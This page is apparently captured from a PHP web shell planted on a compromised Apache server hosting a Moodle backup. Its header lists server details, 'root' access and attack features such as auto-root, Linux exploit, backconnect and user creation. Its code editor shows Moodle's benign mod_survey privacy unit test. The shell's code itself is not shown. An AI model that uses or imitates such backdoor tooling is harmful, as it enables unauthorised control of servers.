Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
mod /
survey /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxrwxr-x
generator
[ DIR ]
drwxrwxr-x
events_test.php
5.66
KB
-rw-rw-r--
externallib_test.php
15.58
KB
-rw-rw-r--
generator_test.php
4.06
KB
-rw-rw-r--
lib_test.php
12.13
KB
-rw-rw-r--
privacy_test.php
19.35
KB
-rw-rw-r--
restore_date_test.php
2.85
KB
-rw-rw-r--
search_test.php
2.61
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : privacy_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Data provider tests. * * @package mod_survey * @category test * @copyright 2018 Frédéric Massart * @author Frédéric Massart <fred@branchup.tech> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; use core_privacy\tests\provider_testcase; use core_privacy\local\request\approved_contextlist; use core_privacy\local\request\transform; use core_privacy\local\request\writer; use mod_survey\privacy\provider; require_once($CFG->dirroot . '/mod/survey/lib.php'); /** * Data provider testcase class. * * @package mod_survey * @category test * @copyright 2018 Frédéric Massart * @author Frédéric Massart <fred@branchup.tech> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_survey_privacy_testcase extends provider_testcase { public function setUp() { global $PAGE; $this->resetAfterTest(); $PAGE->get_renderer('core'); } public function test_get_contexts_for_userid() { $dg = $this->getDataGenerator(); $c1 = $dg->create_course(); $c2 = $dg->create_course(); $cm1a = $dg->create_module('survey', ['template' => 1, 'course' => $c1]); $cm1b = $dg->create_module('survey', ['template' => 2, 'course' => $c1]); $cm1c = $dg->create_module('survey', ['template' => 2, 'course' => $c1]); $cm2a = $dg->create_module('survey', ['template' => 1, 'course' => $c2]); $cm2b = $dg->create_module('survey', ['template' => 1, 'course' => $c2]); $u1 = $dg->create_user(); $u2 = $dg->create_user(); $this->create_answer($cm1a->id, 1, $u1->id); $this->create_answer($cm1a->id, 1, $u2->id); $this->create_answer($cm1b->id, 1, $u2->id); $this->create_answer($cm2a->id, 1, $u1->id); $this->create_analysis($cm2b->id, $u1->id); $this->create_analysis($cm1c->id, $u2->id); $contextids = provider::get_contexts_for_userid($u1->id)->get_contextids(); $this->assertCount(3, $contextids); $this->assertTrue(in_array(context_module::instance($cm1a->cmid)->id, $contextids)); $this->assertTrue(in_array(context_module::instance($cm2a->cmid)->id, $contextids)); $this->assertTrue(in_array(context_module::instance($cm2b->cmid)->id, $contextids)); $contextids = provider::get_contexts_for_userid($u2->id)->get_contextids(); $this->assertCount(3, $contextids); $this->assertTrue(in_array(context_module::instance($cm1a->cmid)->id, $contextids)); $this->assertTrue(in_array(context_module::instance($cm1b->cmid)->id, $contextids)); $this->assertTrue(in_array(context_module::instance($cm1c->cmid)->id, $contextids)); } public function test_delete_data_for_all_users_in_context() { global $DB; $dg = $this->getDataGenerator(); $c1 = $dg->create_course(); $cm1a = $dg->create_module('survey', ['template' => 1, 'course' => $c1]); $cm1b = $dg->create_module('survey', ['template' => 2, 'course' => $c1]); $cm1c = $dg->create_module('survey', ['template' => 2, 'course' => $c1]); $u1 = $dg->create_user(); $u2 = $dg->create_user(); $this->create_answer($cm1a->id, 1, $u1->id); $this->create_answer($cm1a->id, 1, $u2->id); $this->create_answer($cm1b->id, 1, $u2->id); $this->create_answer($cm1c->id, 1, $u1->id); $this->create_analysis($cm1a->id, $u1->id); $this->create_analysis($cm1b->id, $u1->id); $this->create_analysis($cm1a->id, $u2->id); $this->create_analysis($cm1c->id, $u2->id); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1c->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1c->id])); // Deleting the course does nothing. provider::delete_data_for_all_users_in_context(context_course::instance($c1->id)); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1c->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1c->id])); provider::delete_data_for_all_users_in_context(context_module::instance($cm1c->cmid)); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertFalse($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1c->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertFalse($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1c->id])); provider::delete_data_for_all_users_in_context(context_module::instance($cm1a->cmid)); $this->assertFalse($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertFalse($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1c->id])); $this->assertFalse($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1b->id])); $this->assertFalse($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1b->id])); $this->assertFalse($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertFalse($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1c->id])); } public function test_delete_data_for_user() { global $DB; $dg = $this->getDataGenerator(); $c1 = $dg->create_course(); $cm1a = $dg->create_module('survey', ['template' => 1, 'course' => $c1]); $cm1b = $dg->create_module('survey', ['template' => 2, 'course' => $c1]); $cm1c = $dg->create_module('survey', ['template' => 2, 'course' => $c1]); $u1 = $dg->create_user(); $u2 = $dg->create_user(); $this->create_answer($cm1a->id, 1, $u1->id); $this->create_answer($cm1a->id, 1, $u2->id); $this->create_answer($cm1b->id, 1, $u2->id); $this->create_answer($cm1c->id, 1, $u1->id); $this->create_analysis($cm1a->id, $u1->id); $this->create_analysis($cm1b->id, $u1->id); $this->create_analysis($cm1a->id, $u2->id); $this->create_analysis($cm1c->id, $u2->id); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1c->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1c->id])); provider::delete_data_for_user(new approved_contextlist($u1, 'mod_survey', [ context_course::instance($c1->id)->id, context_module::instance($cm1a->cmid)->id, context_module::instance($cm1b->cmid)->id, ])); $this->assertFalse($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u1->id, 'survey' => $cm1c->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_answers', ['userid' => $u2->id, 'survey' => $cm1b->id])); $this->assertFalse($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1a->id])); $this->assertFalse($DB->record_exists('survey_analysis', ['userid' => $u1->id, 'survey' => $cm1b->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1a->id])); $this->assertTrue($DB->record_exists('survey_analysis', ['userid' => $u2->id, 'survey' => $cm1c->id])); } public function test_export_data_for_user() { global $DB; $dg = $this->getDataGenerator(); $templates = $DB->get_records_menu('survey', array('template' => 0), 'name', 'name, id'); $c1 = $dg->create_course(); $s1a = $dg->create_module('survey', ['template' => $templates['attlsname'], 'course' => $c1]); $s1b = $dg->create_module('survey', ['template' => $templates['ciqname'], 'course' => $c1]); $s1c = $dg->create_module('survey', ['template' => $templates['collesapname'], 'course' => $c1]); $u1 = $dg->create_user(); $u2 = $dg->create_user(); $s1actx = context_module::instance($s1a->cmid); $s1bctx = context_module::instance($s1b->cmid); $s1cctx = context_module::instance($s1c->cmid); $this->answer_survey($s1a, $u1, $c1, $s1actx); $this->answer_survey($s1b, $u1, $c1, $s1bctx); $this->create_analysis($s1a->id, $u1->id, 'Hello,'); $this->answer_survey($s1a, $u2, $c1, $s1actx); $this->answer_survey($s1c, $u2, $c1, $s1cctx); $this->create_analysis($s1b->id, $u2->id, 'World!'); provider::export_user_data(new approved_contextlist($u1, 'mod_survey', [$s1actx->id, $s1bctx->id, $s1cctx->id])); $data = writer::with_context($s1actx)->get_data([]); $this->assertNotEmpty($data); $this->assert_exported_answers($data->answers, $u1, $s1a); $data = writer::with_context($s1actx)->get_related_data([], 'survey_analysis'); $this->assertEquals('Hello,', $data->notes); $data = writer::with_context($s1bctx)->get_data([]); $this->assertNotEmpty($data); $this->assert_exported_answers($data->answers, $u1, $s1b); $data = writer::with_context($s1bctx)->get_related_data([], 'survey_analysis'); $this->assertEmpty($data); $data = writer::with_context($s1cctx)->get_data([]); $this->assertEmpty($data); $data = writer::with_context($s1cctx)->get_related_data([], 'survey_analysis'); $this->assertEmpty($data); writer::reset(); provider::export_user_data(new approved_contextlist($u2, 'mod_survey', [$s1actx->id, $s1bctx->id, $s1cctx->id])); $data = writer::with_context($s1actx)->get_data([]); $this->assertNotEmpty($data); $this->assert_exported_answers($data->answers, $u2, $s1a); $data = writer::with_context($s1actx)->get_related_data([], 'survey_analysis'); $this->assertEmpty($data); $data = writer::with_context($s1bctx)->get_data([]); $this->assertEmpty($data); $data = writer::with_context($s1bctx)->get_related_data([], 'survey_analysis'); $this->assertEquals('World!', $data->notes); $data = writer::with_context($s1cctx)->get_data([]); $this->assertNotEmpty($data); $this->assert_exported_answers($data->answers, $u2, $s1c); $data = writer::with_context($s1cctx)->get_related_data([], 'survey_analysis'); $this->assertEmpty($data); } /** * Answer a survey in a predictable manner. * * @param stdClass $survey The survey. * @param stdClass $user The user. * @param stdClass $course The course. * @param context_module $context The module context. * @return void */ protected function answer_survey($survey, $user, $course, context_module $context) { global $USER; $userid = $user->id; $questions = survey_get_questions($survey); $answer = function(&$answers, $q) use ($userid) { $key = 'q' . ($q->type == 2 ? 'P' : '') . $q->id; if ($q->type < 1) { $a = "A:{$q->id}:{$userid}"; $answers[$key] = $a; } else if ($q->type < 3) { $options = explode(',', get_string($q->options, 'mod_survey')); $answers[$key] = ($q->id + $userid) % count($options) + 1; } else { $options = explode(',', get_string($q->options, 'mod_survey')); $answers["q{$q->id}"] = ($q->id + $userid) % count($options) + 1; $answers["qP{$q->id}"] = ($q->id + $userid + 1) % count($options) + 1; } }; foreach ($questions as $q) { if ($q->type < 0) { continue; } else if ($q->type > 0 && $q->multi) { $subquestions = survey_get_subquestions($q); foreach ($subquestions as $sq) { $answer($answers, $sq); } } else { $answer($answers, $q); } } $origuser = $USER; $this->setUser($user); survey_save_answers($survey, $answers, $course, $context); $this->setUser($origuser); } /** * Assert the answers provided to a survey. * * @param array $answers The answers. * @param object $user The user. * @param object $survey The survey. * @return void */ protected function assert_exported_answers($answers, $user, $survey) { global $DB; $userid = $user->id; $questionids = explode(',', $survey->questions); $topquestions = $DB->get_records_list('survey_questions', 'id', $questionids, 'id'); $questions = []; foreach ($topquestions as $q) { if ($q->type < 0) { continue; } else if ($q->type > 0 && $q->multi) { $questionids = explode(',', $q->multi); $subqs = $DB->get_records_list('survey_questions', 'id', $questionids, 'id'); } else { $subqs = [$q]; } foreach ($subqs as $sq) { $questions[] = $sq; } } $this->assertCount(count($questions), $answers); $answer = reset($answers); foreach ($questions as $question) { $qtype = $question->type; $question = survey_translate_question($question); $options = $qtype > 0 ? explode(',', $question->options) : '-'; $this->assertEquals($question->text, $answer['question']['text']); $this->assertEquals($question->shorttext, $answer['question']['shorttext']); $this->assertEquals($question->intro, $answer['question']['intro']); $this->assertEquals($options, $answer['question']['options']); if ($qtype < 1) { $this->assertEquals("A:{$question->id}:{$userid}", $answer['answer']['actual']); } else if ($qtype == 1 || $qtype == 2) { $chosen = ($question->id + $userid) % count($options); $key = $qtype == 1 ? 'actual' : 'preferred'; $this->assertEquals($options[$chosen], $answer['answer'][$key]); } else { $chosen = ($question->id + $userid) % count($options); $this->assertEquals($options[$chosen], $answer['answer']['actual']); $chosen = ($question->id + $userid + 1) % count($options); $this->assertEquals($options[$chosen], $answer['answer']['preferred']); } // Grab next answer, if any. $answer = next($answers); } } /** * Create analysis. * * @param int $surveyid The survey ID. * @param int $userid The user ID. * @param string $notes The nodes. * @return stdClass */ protected function create_analysis($surveyid, $userid, $notes = '') { global $DB; $record = (object) [ 'survey' => $surveyid, 'userid' => $userid, 'notes' => $notes ]; $record->id = $DB->insert_record('survey_analysis', $record); return $record; } /** * Create answer. * * @param int $surveyid The survey ID. * @param int $questionid The question ID. * @param int $userid The user ID. * @param string $answer1 The first answer field. * @param string $answer2 The second answer field. * @return stdClass */ protected function create_answer($surveyid, $questionid, $userid, $answer1 = '', $answer2 = '') { global $DB; $record = (object) [ 'survey' => $surveyid, 'question' => $questionid, 'userid' => $userid, 'answer1' => $answer1, 'answer2' => $answer2, 'time' => time() ]; $record->id = $DB->insert_record('survey_answers', $record); return $record; } }
Close